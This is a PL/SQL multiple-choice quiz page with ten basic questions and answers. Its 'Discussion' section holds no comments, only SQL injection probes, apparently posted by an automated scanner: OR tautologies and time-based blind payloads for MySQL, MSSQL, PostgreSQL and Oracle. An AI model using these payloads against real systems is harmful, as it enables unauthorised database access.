Pl/Sql MCQ Questions And Answers
Pl/Sql MCQs : This section focuses on "Basics" of Pl/Sql. These Multiple Choice Questions (MCQs) should be practiced to improve the Pl/Sql skills required for various interviews (campus interview, walk-in interview, company interview), placements, entrance exams and other competitive examinations.
1. pl/sql was developed by?
A. IBM
B. Oracle
C. Facebook
D. Google
View Answer
Ans : B
Explanation: Pl/Sql was developed by Oracle Corporation in the early 90's to enhance the capabilities of SQL.
2. Which of the following is true?
A. PL/SQL is a completely portable
B. Pl/Sql is a high-performance transaction-processing language
C. PL/SQL provides a built-in, interpreted and OS independent programming environment
D. All of the above
View Answer
Ans : D
Explanation: All of the above is true about Pl/Sql.
3. Which of the following are Features of PL/SQL?
A. PL/SQL is tightly integrated with SQL
B. Pl/sql offers extensive error checking
C. Pl/Sql offers numerous data types
D. All of the above
View Answer
Ans : D
Explanation: All of the above are Features of PL/SQL.
4. PL/SQL provides high security level.
A. Yes
B. No
C. Can be yes or no
D. Can not say
View Answer
Ans : A
Explanation: Yes, PL/SQL provides high security level
5. Every PL/SQL statement ends with a ?
A. colon
B. questionmark
C. semicolon
D. dollar sign
View Answer
Ans : C
Explanation: Every PL/SQL statement ends with a semicolon (;).
6. PL/SQL blocks can be nested within other PL/SQL blocks using?
A. Begin
B. End
C. Both A and B
D. None of the above
View Answer
Ans : C
Explanation: PL/SQL blocks can be nested within other PL/SQL blocks using BEGIN and END.
7. Which of the following is/are Advantages of PL/SQL?
A. PL/SQL is strongly integrated with SQL
B. PL/SQL allows sending an entire block of statements to the database at one time
C. PL/SQL gives high productivity to programmers as it can query, transform, and update data in a database
D. All of the above
View Answer
Ans : D
Explanation: All of the above are Advantages of PL/SQL
8. The PL/SQL supports?
A. single-line comments
B. multi-line comments
C. single-line and multi-line comments
D. None of the above
View Answer
Ans : C
Explanation: The PL/SQL supports single-line and multi-line comments.
9. PL/SQL provides support for Object-Oriented Programming.
A. TRUE
B. FALSE
C. Can be true or false
D. Can not say
View Answer
Ans : A
Explanation: True, PL/SQL provides support for Object-Oriented Programming.
10. PL/SQL identifiers are?
A. constants
B. variables
C. exceptions
D. All of the above
View Answer
Ans : D
Explanation: PL/SQL identifiers are constants, variables, exceptions, procedures, cursors, and reserved words.
Discussion
pHqghUme
-1 OR 2+786-786-1=0+0+0+1 --
pHqghUme
-1 OR 3+786-786-1=0+0+0+1 --
pHqghUme
-1 OR 3*2<(0+5+786-786) --
pHqghUme
-1 OR 3*2>(0+5+786-786) --
pHqghUme
-1 OR 2+421-421-1=0+0+0+1
pHqghUme
-1 OR 3+421-421-1=0+0+0+1
pHqghUme
-1 OR 3*2<(0+5+421-421)
pHqghUme
-1 OR 3*2>(0+5+421-421)
pHqghUme
-1' OR 2+687-687-1=0+0+0+1 --
pHqghUme
-1' OR 3+687-687-1=0+0+0+1 --
pHqghUme
-1' OR 3*2<(0+5+687-687) --
pHqghUme
-1' OR 3*2>(0+5+687-687) --
pHqghUme
-1' OR 2+424-424-1=0+0+0+1 or 'i9WqjWTR'='
pHqghUme
-1' OR 3+424-424-1=0+0+0+1 or 'i9WqjWTR'='
pHqghUme
-1' OR 3*2<(0+5+424-424) or 'i9WqjWTR'='
pHqghUme
-1' OR 3*2>(0+5+424-424) or 'i9WqjWTR'='
pHqghUme
-1" OR 2+662-662-1=0+0+0+1 --
pHqghUme
-1" OR 3+662-662-1=0+0+0+1 --
pHqghUme
-1" OR 3*2<(0+5+662-662) --
pHqghUme
-1" OR 3*2>(0+5+662-662) --
pHqghUme
if(now()=sysdate(),sleep(15),0)
pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme
-1; waitfor delay '0:0:15' --
pHqghUme
-1); waitfor delay '0:0:15' --
pHqghUme
1 waitfor delay '0:0:15' --
pHqghUme
RQub4fyw'; waitfor delay '0:0:15' --
pHqghUme
-5 OR 17=(SELECT 17 FROM PG_SLEEP(15))--
pHqghUme
-5) OR 477=(SELECT 477 FROM PG_SLEEP(15))--
pHqghUme
-1)) OR 887=(SELECT 887 FROM PG_SLEEP(15))--
pHqghUme
qZNKXlbY' OR 67=(SELECT 67 FROM PG_SLEEP(15))--
pHqghUme
bpAdq9Jg') OR 484=(SELECT 484 FROM PG_SLEEP(15))--
pHqghUme
BanHKo1T')) OR 39=(SELECT 39 FROM PG_SLEEP(15))--
pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'